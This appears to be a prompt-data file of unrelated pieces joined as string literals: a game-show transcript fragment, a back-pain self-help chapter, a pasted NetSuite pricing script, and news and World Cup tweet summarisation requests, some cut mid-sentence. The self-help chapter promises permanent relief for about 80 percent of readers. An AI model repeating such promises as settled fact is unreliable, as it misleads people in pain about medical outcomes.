other\'s\n327.96 company this is one of the deepest\n329.4 brotherly Bonds in the story I\'m talking\n331.199 Jaime and Tyrion close wholesome stuff\n333.96 the original idea of this prequel being\n336.12 Five Seasons may turn out to only be\n338.34 Four Seasons Martin ended his recent\n340.62 blog post on his website from October\n342.479 11th saying it is going to take four\n344.52 full seasons of 10 episodes each to\n346.62 adjust this to the dance of dragons from\n348.66 start to finish that doesn\'t leave a lot\n350.759 of time for aegon and viserys I guess I\n353.1 gotta be appreciative for every second\n354.72 they get' +'CHAPTER ONE\n The Promise\n From Chris\nBack pain is the monster in most of our lives. The ogre under the bed. The ogre that lands you in bed all too often. Or on the floor . . . flopping around in pain. Like a sunfish on a hot cement dock. \nMost Americans know that pain well. Know the agony, the sudden sickening return after it’s been gone for a while. The canceling of plans, the loss of a job. Everything. They cannot live with it—not really live—and they would do anything for relief. But there is no relief. They’ve tried everything, and nothing works. Nothing meaningful, anyway. Back pain sufferers spend an average of $2,500 a year for palliative “fixes,” but they get precious little in return. They’d spend more—they’d spend anything—if the fixes really worked. But most don’t. Or not very well. Or not for long. People structure their lives around the pain as best they can, but that doesn’t work either, because you never know when it’s going to hit. \nAnd when it comes, it’s not like a sore shoulder or a bum leg; you can’t use the other arm instead. You can’t limp along with a cane, relying on the good leg. When your back is the problem, everything goes, and you’re cooked. When your back hurts, your life hurts. And you can’t do a damned thing. \nTHE PROMISE\nThat is about to end. You are going to have trouble believing that sentence, but it’s true. That pain is about to go away or be sharply reduced. And the change is going to be permanent. For about 80 percent of you, anyway. That’s an astonishing promise, and it’s absolutely true. We know of nothing else in the field that comes close. \n“Success” means either the permanent elimination of pain (the result for most of you) or a reduction of its severity from the 7–10 level—on a scale of 1–10 (that’s agony)—to the 1–3 level (that’s a nuisance). Blessed, blessed relief, either way. As I say, it is only going to work for about 80 percent of you, but that’s a near-miracle. And Jeremy has solid suggestions for the rest of you, too. (See Chapter 4 to learn if you’re in the 20 percent and find out what to do.) But remember the main point: For 80 percent of you, the pain stops here.\nWe hope that the “you” in that sentence is an enormous number of people. Jeremy is a modest man but he knows what he can do—what he has done—and he is ambitious about taking his protocol to a much broader audience. Indeed, he wants to start a revolution in back pain care in America, starting with you, and he wants it to be universal and cheap. He thinks—he and I think—that it can be done in a book. That sounds wild—that this horrendous problem can be fixed with such a modest tool. But it’s not. Because back pain is all about behavior, and you can deal with behavior in a book. As you will learn in a moment, the vast majority of you created your back pain with your own, long-term behavior. And only you can fix it, with profound changes in that behavior. It is a matter of showing you what you did before that made a mess of your back, and teaching you what you have to do now. And then you doing it. Jeremy explains, and he shows you how. You do the work. You will succeed. A surprise, perhaps one you will have trouble getting your head around at first. But it’s true: You will succeed. \nSo how bad is the problem? Pretty bad, as most of you know. Four out of five of us have back pain so bad we seek help from health care professionals. The nation as a whole spends $100 billion on the problem. It does more to disrupt business than anything else. And, of course, it raises hell with millions of lives. For some, it is a recurring nuisance, something that takes the joy out of the day, the week, the month. For more of us, it is an intermittent horror, with the pain at the agony level and we just can’t move. Your wife calls your host for dinner: “Bill is flat on his back on the floor. We may have to go to the hospital. Sorry.” You can’t go out to dinner; you can’t perform your duties. Hell, you can’t get off the floor! It ruins careers, messes up companies, trashes marriages, and raises holy hell with just about everything else. For most, it comes and goes, but when it comes . . . it’s just god-awful. Oh lord! What do you do?\nNot much, until now. There’s conventional medicine—which is such a blessing in so many areas of our lives—but it is apt not to be great for back pain. For extreme cases (the 20 percent we mentioned), there is surgery, and for them it may be the only option; Jeremy will alert those who should be thinking about it. But surgery—tremendously important and successful for some—is not the answer for most of you. It is well known, for example, that at least one popular operation—spinal fusion—is one of the most overprescribed operations in the country. It is a serious operation (it costs about $100,000), it is often unnecessary, and it often doesn’t work. Not for long, anyway, and sometimes not at all. That is scary. Jeremy, and the best surgeons, all say that surgery should be a last resort. There are other “medical” steps, like cortisone or other shots, but, once again, relief is temporary, there can be serious side effects, and there are limits to how often you can go there. The basic problem with traditional medicine and back pain is that they are not a very good fit. Western medicine is not heavily focused on behavioral problems and behavioral change; it simply did not grow up that way. And back pain is primarily a behavioral problem. Which means that, ultimately, only you can fix it. \nDon’t worry if this concept doesn’t quite sink in at the first reading. It’s what the whole book is about. We’ll get there. Together. \nA Younger Next Year Book\nI say “we’ll get there together,” and that’s an important part of the book and the cure. This is “a Younger Next Year” book. That means several things, as some of you know. First, it means there is a presentation by two writers, a deadly serious professional scientist (that’s Jeremy for this book . . . it was Harry Lodge in the first Younger Next Year books) and a layman (me). As I used to say of Harry and as I now say of Jeremy: “He’s young and smart, and I’m old and funny.” The pairing is supposed to make the book easier to follow (and maybe just a teeny bit fun to read) without losing a whisper of scientific integrity. The scientist is in charge throughout, but reading the book should not make your teeth hurt. Not hurt badly, anyway.\nIt also means that the core idea is that behavioral change can have a profound effect on your wellness and quality of life. Far more of an effect, in important areas, than the best conventional medicine. The “modest” boast in the original Younger Next Year book was that behavioral change could put off 70 percent of aging until close to the end of life, and eliminate 50 percent of the most serious diseases completely. Which was absolutely true; no one has ever disagreed. Over 2 million people bought Younger Next Year (in twenty-three languages) and made it a cult book for those over forty, many thousands of whom profoundly changed their lives. A huge number of people have come up to me and Harry over the years to say, “Hey, man, thanks for writing that book; it changed my life.” Nice.\nThe Younger Next Year Back Book is a little more specific: Behavioral change—spelled out by Jeremy—can end or radically reduce back pain. But the consequences for back pain sufferers are every bit as important. I was with Jeremy recently when a guy in his fifties said to me that he’d come to Jeremy the previous summer, after a lifetime of serious back pain: “I could not bend over to lace my own shoes. I’d been in agony for decades. And Jeremy simply fixed it. Jeremy gave me my life back.” Jeremy has a thousand stories like that. More than a thousand. We hope to have a million before we’re done.\nFinally, it means that the book has a certain integrity. Harry and I went to great lengths to make Younger Next Year solid—conservative, if anything. To the best of our knowledge, there was not a single exaggeration, and certainly not a single misstatement. Jeremy and I have done the same here. Dealing with back pain is an evolving field, and some things we say may turn out to be wrong as people learn more. But not the basic lines and not the major claims. The book is as solid as we can make it, and it will stand up. As Younger Next Year has done, strikingly. \nJeremy came to me with the idea for doing this book together because he thought YNY and his story had “the same genes.” Which was quite right. Beyond that, Jeremy is a “good guy”; he wants to do good in this world, and the fact that back pain makes such a mess of so many lives—unnecessarily in his view—makes him crazy. He knew how successful the Younger Next Year books had been, he knew me, and he thought that maybe the two of us could pair up and get the word out . . . change the world of back pain.\nSo that’s our modest goal here—first Jeremy’s and now mine: We just want to, you know, change the world. And eliminate back pain for millions. Hey, couldn’t hurt. Along the way we hope to make a couple of billion dollars ourselves but Jeremy’s great motivation is to change the world of back pain. Pretty good guy, Jeremy. \nNow, let’s have a quiet word about some things this book won’t do. It won’t do any good if you just stick it under your pillow, for example. You have to read it. Closely. We’ll make that as easy as we can but it ain’t always going to be a walk on the beach. Then, by heaven, you have to go to work yourself on the cure. You have to do the initial fixes yourself. And then' +'that makes no sense. You are using a bunch of random data and not the original script\n\nhere is the original script:\n/\\*\\*\n \\* Module Description\n \\* \n \\* Version Date Author Remarks\n \\* 1.00 22 Jul 2017 charliepuyod\n \\*\n \\*/\n\nfunction getPromoPrices(){\n var column = [new nlobjSearchColumn("custrecord\\_parent\\_promo",null,"GROUP")];\n var ppm = nlapiSearchRecord("customrecord\\_special\\_pricing\\_detail",null, [\n ["custrecord\\_detail\\_customer","anyof","@NONE@"], \n "AND", \n ["custrecord\\_parent\\_promo","noneof","@NONE@"]\n ],column);\n \n var promoprices = [];\n for(var i = 0; i < ppm.length; i++){\n promoprices.push({ type: "customrecord\\_promo\\_header", id: ppm[i].getValue(column[0]) });\n }\n return promoprices;\n}\n\nfunction scheduled(type){ \n \n var context = nlapiGetContext();\n var recordType = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_rectype\');\n var recordId = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_recid\');\n \n if(recordId){\n run(recordId, recordType, context);\n } else {\n var ppm = getPromoPrices() || [];\n nlapiLogExecution(\'DEBUG\', \'Promo Prices\', ppm.length);\n \n for(var i = 0; i < ppm.length; i++){\n run(ppm[i].id, ppm[i].type, context);\n context = nlapiGetContext();\n nlapiLogExecution(\'debug\', \'remaining usage\', context.getRemainingUsage());\n if (context.getRemainingUsage() <= 500) {\n var status = nlapiScheduleScript(context.getScriptId())\n if ( status == \'QUEUED\' )\n break;\n }\n }\n }\n}\n\n/\\*\\*\n \\* @param {String} type Context Types: scheduled, ondemand, userinterface, aborted, skipped\n \\* @returns {Void}\n \\*/\nfunction run(recordId, recordType, context) {\n try {\n \n var record = nlapiLoadRecord(recordType, recordId);\n if (recordType == \'customrecord\\_promo\\_header\') {\n var recordStatus = record.getFieldValue(\'custrecord\\_promohead\\_status\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n if (recordStatus == 8) {\n var copiedFrom = record.getFieldValue(\'custrecord\\_promohead\\_copiedfrom\');\n var filter = new nlobjSearchFilter(\'custrecord\\_parent\\_promo\', null, \'anyof\', copiedFrom);\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', copiedFrom]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n var index = 0;\n var max = 1000;\n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n nlapiLogExecution(\'DEBUG\', \'sp Id\', schDetail[i].getId());\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var item = schDetail[i].getValue(\'custrecord\\_detail\\_item\');\n var option = schDetail[i].getValue(\'custrecord\\_detail\\_option\');\n var basePrice = schDetail[i].getValue(\'custrecord\\_detail\\_baseprice\');\n var usualPrice = schDetail[i].getValue(\'custrecord\\_detail\\_usualrate\');\n \n var qty1 = schDetail[i].getValue(\'custrecord\\_detail\\_qty1\');\n var price1 = schDetail[i].getValue(\'custrecord\\_detail\\_rate1\');\n \n var qty2 = schDetail[i].getValue(\'custrecord\\_detail\\_qty2\');\n var price2 = schDetail[i].getValue(\'custrecord\\_detail\\_rate2\');\n \n var qty3 = schDetail[i].getValue(\'custrecord\\_detail\\_qty3\');\n var price3 = schDetail[i].getValue(\'custrecord\\_detail\\_rate3\');\n \n var qty4 = schDetail[i].getValue(\'custrecord\\_detail\\_qty4\');\n var price4 = schDetail[i].getValue(\'custrecord\\_detail\\_rate4\');\n \n var qty5 = schDetail[i].getValue(\'custrecord\\_detail\\_qty5\');\n var price5 = schDetail[i].getValue(\'custrecord\\_detail\\_rate5\');\n \n var customersStr = schDetail[i].getValue(\'custrecord\\_detail\\_customer\');\n var customerArr = customersStr.split(",");\n nlapiLogExecution(\'DEBUG\', typeof customerArr1);\n \n nlapiLogExecution(\'DEBUG\', \'customers length\', customerArr.length);\n var marketing = schDetail[i].getValue(\'custrecord\\_detail\\_marketingprice\');\n var newDetail = nlapiCreateRecord(\'customrecord\\_special\\_pricing\\_detail\');\n \n newDetail.setFieldValue(\'custrecord\\_parent\\_promo\', recordId);\n newDetail.setFieldValue(\'custrecord\\_detail\\_item\', item);\n newDetail.setFieldValue(\'custrecord\\_detail\\_option\', option);\n newDetail.setFieldValue(\'custrecord\\_detail\\_baseprice\', basePrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_usualrate\', usualPrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty1\', qty1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate1\', price1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty2\', qty2);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate2\', price2);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty3\', qty3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate3\', price3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty4\', qty4);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate4\', price4);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty5\', qty5);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate5\', price5);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_customer\', customerArr);\n newDetail.setFieldValue(\'custrecord\\_detail\\_marketingprice\', marketing);\n nlapiSubmitRecord(newDetail, false, true);\n \n \n }\n }\n \n }\n \n \n \n }\n else {\n var someCust = record.getFieldValues(\'custrecord\\_promohead\\_child\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n var customer = record.getFieldValue(\'custrecord\\_parenthead\\_customer\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n \n var allChildArray = new Array();\n \n if (childCust) {\n allChildArray.push(customer);\n for (var j = 0; j < childCust.length; j++) {\n \n allChildArray.push(childCust[j].getId());\n }\n \n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_promo\');\n var custArray = new Array();\n custArray.push(customer);\n \n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n \n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n \n if (option == \'1\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n }\n if (option == \'2\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n }\n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n \n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n recordDet.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n nlapiSubmitRecord(recordDet, true, true);\n \n \n }\n }\n }\n }\n \n nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 4);\n \n \n }\n \n \n if (recordType == \'customrecord\\_contract\\_pricing\') {\n \n var contractReview = record.getFieldValue(\'custrecord\\_cp\\_contractreview\');\n var startDate = record.getFieldValue(\'custrecord\\_cp\\_startdate\');\n //var location = record.getFieldValue(\'custrecord\\_cp\\_location\');\n var filters = new Array();\n var customer = record.getFieldValue(\'custrecord\\_cp\\_parentcustomer\');\n var someCust = record.getFieldValues(\'custrecord\\_cp\\_child\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n var allChildArray = new Array();\n //allChildArray.push(customer);\n if (childCust) {\n nlapiLogExecution(\'DEBUG\', \'childcust length\', childCust.length);\n for (var j = 0; j < childCust.length; j++) {\n allChildArray.push(childCust[j].getId());\n }\n nlapiLogExecution(\'DEBUG\', \'childcust all\', JSON.stringify(allChildArray));\n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n //\\*\\*\\*\\* add here\n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_contract\\_parent\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n recordDet.setFieldValue(\'custrecord\\_detail\\_contractreviewdate\', contractReview);\n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n if (option == 1) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n \n }\n if (option == 2) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n \n }\n \n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n nlapiSubmitRecord(recordDet, true, true);\n \n }\n }\n }\n nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 4);\n \n }\n \n \n \n if (recordType == \'customrecord\\_catalogue\\_pricing\') {\n var startDate = record.getFieldValue(\'custrecord\\_cat\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_cat\\_enddate\');\n var oldStatus = record.getFieldValue(\'custrecord\\_cat\\_oldstatus\');\n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_catalogue\');\n \n for (var i = 1; i <= lineCount; i++) {\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n \n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_startdate\', i, startDate);\n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_enddate\', i, endDate);\n \n }\n \n record.setFieldValue(\'custrecord\\_cat\\_status\', oldStatus);\n nlapiSubmitRecord(record, false, true);\n \n }\n \n \n }\n catch (e) {\n if (recordType == \'customrecord\\_promo\\_header\') nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 5, false);\n if (recordType == \'customrecord\\_contract\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 5, false);\n if (recordType == \'customrecord\\_catalogue\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cat\\_status\', 6, false);\n //nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', \'5\');\n if (e instanceof nlobjError) {\n nlapiLogExecution(\'DEBUG\', \'Scheduled\', e.getCode() + \'\\n\' + e.getDetails());\n \n }\n else {\n nlapiLogExecution(\'DEBUG\', \'Scheduled - unexpected\', e.toString());\n \n }\n }\n}' +"Below is the text of a news article. Please write a 5-sentence summary, focused on the factual content and removing any sensationalism or anxiety-inducing content:\n\nIt is the latest stunning barrier shattered by the nation’s most unruly president. And it means that after a tumultuous four-year term, a historic two impeachments, an election falsely tainted by Trump’s lies about fraud and a mob attack by his supporters on Congress, a new national nightmare may be ahead.\n\nWASHINGTON, DC - SEPTEMBER 22: U.S. President Donald Trump exits the Oval Office and walks to Marine One on the South Lawn of the White House on September 22, 2020 in Washington, DC. President Trump is traveling to Pittsburgh, Pennsylvania for a campaign event. (Photo by Drew Angerer/Getty Images)\nTrump has been indicted. Here's what happens next in court\nIn a momentous step Thursday, a Manhattan grand jury voted to indict Trump on what sources said were more than 30 counts related to business fraud in a case arising from hush money paid to adult film star Stormy Daniels, possibly to defuse a scandal ahead of the 2016 election.\n\nThere is nothing in American history that approaches the tumult of the charging and possible trial and conviction of a former president – especially since Trump and his supporters are already claiming that the indictment represents the weaponized politicization of the justice system.\n\n“We have been close before (but) we have never been at this point,” John Dean, former President Richard Nixon’s Watergate-era special counsel, told CNN. “No prior president – former, sitting or otherwise – has ever been indicted.”\n\nGiven the extreme national political estrangement exacerbated by Trump, this case is likely to leave the country changed however it turns out. There will be fears, for instance, that it will crush one of the last remaining precedents for political restraint and leave future presidents vulnerable to prosecution in a manner more akin to fragile failing states than the world’s most vital democracy. Yet at the same time, if Trump has indeed committed crimes, a failure to pursue him would send a message that the powerful can get away with behavior that ordinary Americans cannot.\n\nThe move was especially stunning given Trump’s long record of impunity, which has seen him constantly stretch the limits of the law and the conventions of accepted behavior with his uproarious personal, business and political careers. Suddenly, Trump’s decades of evading accountability will end. The former president will have to start answering for his conduct, likely beginning in court on Tuesday after he travels to New York to be arraigned in what will be a high-security spectacle given his past incitement of violence.\n\nTrump launches a furious counter-attack\nTrump insists he is innocent of all allegations, in this case as well as in several others that may pose even greater legal peril, including special counsel investigations into his hoarding of classified documents and his conduct around the 2020 election and a separate Georgia investigation into his bid to steal the election in the swing state.\n\nThe ex-president quickly showed he’s ready to drive the country into a deep political crisis as he mounts his defense with wild claims of persecution. He accused Democrats of weaponizing justice to thwart his 2024 White House bid – a claim that threatens to shatter the credibility of the next election in the eyes of millions of his followers and further damage US democracy.\n\n“This is an attack on our country the likes of which has never been seen before,” Trump wrote in block capitals on his Truth Social network. “It is likewise a continuing attack on our once free and fair elections. The USA is now a third world nation, a nation in serious decline. So sad!”\n\nLike all Americans accused of crimes, Trump is entitled to the presumption of innocence and his full rights under the Constitution, which he tried to overturn on January, 6, 2021. The perception of this extraordinary case will turn on two questions fundamental to the credibility of American justice: Are all citizens – even the most powerful, like former presidents and White House candidates – considered equal under the law? Or is Trump being singled out because of who he is?\n\nThe indictment voted by the grand jury remains under seal, so the exact charges and the extent of evidence against him remain unclear. But many legal experts have questioned whether a case possibly alleging fraudulent accounting and subsequent infringements of election law would rise to the magnitude that might justify the nation-shaking act of indicting a former president and frontrunner for the 2024 GOP nomination. Some observers have warned against a case that might rely heavily on the testimony of former Trump lawyer Michael Cohen, who made the payments to Daniels and has already served a jail sentence for charges that included lying to Congress.\n\nHouse Speaker Kevin McCarthy speaks during a Friends of Ireland caucus St. Patrick's Day luncheon at the Capitol in Washington on Friday, March 17.\nRepublican leaders and Trump loyalists on Capitol Hill rally behind the former president after indictment\nEven if there is plentiful evidence that makes this a relatively simple sell to a jury, the fame and the power of the defendant means the case will unfold in a court of public opinion. Manhattan District Attorney Alvin Bragg is under enormous pressure since if he fails to secure a conviction, he will be accused even more than he already is of building a politicized case that could tear gaping new divides in the country.\n\nTrump’s most fervent supporters in the House of Representatives lambasted Bragg despite having not seen the charges or evidence against the former president. The angry reactions were consistent with Trump’s previous attempts to intimidate Bragg, which were set off nearly two weeks ago with his inaccurate prediction that he’d be arrested early last week. The strategy was clearly designed to prejudice public opinion against the case before Trump even appears in court and to energize the former president’s grassroots supporters and the conservative media machine.\n\n“Outrageous” was the only comment issued by House Judiciary Chair Jim Jordan of Ohio, one of the ex-president’s most staunch loyalists.\n\nHouse Speaker Kevin McCarthy tweeted, “The American people will not tolerate this injustice,” and added that “The House of Representatives will hold Alvin Bragg and his unprecedented abuse of power to account” – a comment that appeared to indicate a fresh attempt to use government power to interfere in an active case going through America’s independent legal system.\n\nThe No. 2 House Republican – Majority Leader Steve Scalise – called the indictment “one of the clearest examples of extremist Democrats weaponizing government to attack their political opponents.” Rep. Elise Stefanik, the House GOP conference chair, released a statement saying the indictment was “a political witch hunt” and a “dark day for America.” There was no immediate comment, however, from Senate Republican Leader Mitch McConnell, underscoring the divides in the GOP over Trump’s past assault on American democracy and political aspirations.\n\nIndictment shakes up 2024 White House race\nIt is too early to predict how voters, in the GOP primary or in the national electorate, will respond to Trump’s indictment. And it is also unclear whether a possible trial would take place before the 2024 election or where the multiple other investigations into Trump’s conduct will be by then.\n\nBut Thursday’s historic news out of Manhattan immediately scrambled the GOP nominating contest.\n\nThe move forced the ex-president’s potential Republican rivals into hurried condemnations to preserve their own viability among GOP voters.\n\n“I think the unprecedented indictment of a former president of the United States on a campaign finance issue is an outrage,” former Vice President Mike Pence told CNN’s Wolf Blitzer in an interview. “It appears to millions of Americans to be nothing more than a political prosecution that’s driven by a prosecutor who literally ran for office on a pledge to indict the former president.”\n\nFlorida Gov. Ron DeSantis speaks at Christopher Columbus High School on Monday, March 27, 2023, in Miami. \nPotential 2024 GOP field responds to Trump indictment by attacking Bragg\nTrump blames Pence for failing to intervene in Congress’ certification of President Joe Biden’s election victory – a position that may limit the former vice president’s political ceiling in a party still filled with Trump loyalists.\n\nAny immediate political boost Trump is able to engineer from the indictment could harm his potential strongest primary rival, Florida Gov. Ron DeSantis. Like other potential candidates, DeSantis had no political room to do anything other than condemn the indictment – even though he has been portraying himself as a potential president who would be far more calm, methodical and effective in implementing a hardline conservative agenda than Trump was.\n\nBut DeSantis also made an extraordinary threat that if Trump were to resist turning himself in, he would refuse to participate in any attempt by New York to extradite him – a move that, if it happened, could precipitate a constitutional crisis.\n\n“The weaponization of the legal system to advance a political agenda turns the rule of law on its head. It is un-American,” DeSantis tweeted. “Florida will not assist in an extradition request given the questionable circumstances at issue with this Soros-backed Manhattan prosecutor and his political agenda.”\n\nThe Florida governor’s threat was just one ill omen that suggests the months ahead will be divisive and dangerous to America’s democracy – whether Trump is found guilty or not." +"Describe, as reporting a current event in few 4 lines, what is happening right now using the following tweets:\n\nsourceText Time\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\nBLOODY HELL DI MARIA BASICALLY GOAL EVERY FINAL!! HOLY HELL #ArgentinaVsFrance #WorldcupQatar2022 15:36:40.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nTop counter attack & Di Maria goal ??''#ArgentinaVsFrance https://t.co/sVzLCZrbqb 15:36:48.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nWhat a goal.. Messi started the move and Di Maria did the ting!!!!! ''VAMOS ARGENTINA!!! 15:36:42.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nWhat a beautiful GOAL???? from Di Maria. Argentina has been on a serious attack and they’re capitalising . #KusazobaMnandi 15:36:59.0000000\nDi Maria, he's gone to ground...he's got a penalty! Dembele the man guilty as charged. 'And Messi, A goal for ever more..perhaps a goal of his infinity, as it’s predestined'- Peter Drury'#ArgentinaVsFrance #FIFAWorldCup #PeterDrury 15:35:29.0000000\nDi Mariaaaaaa nets #ARG 2nd goal! ''#FIFAWorldCup #ARGFRA 15:36:19.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal Di Maria! What a counter 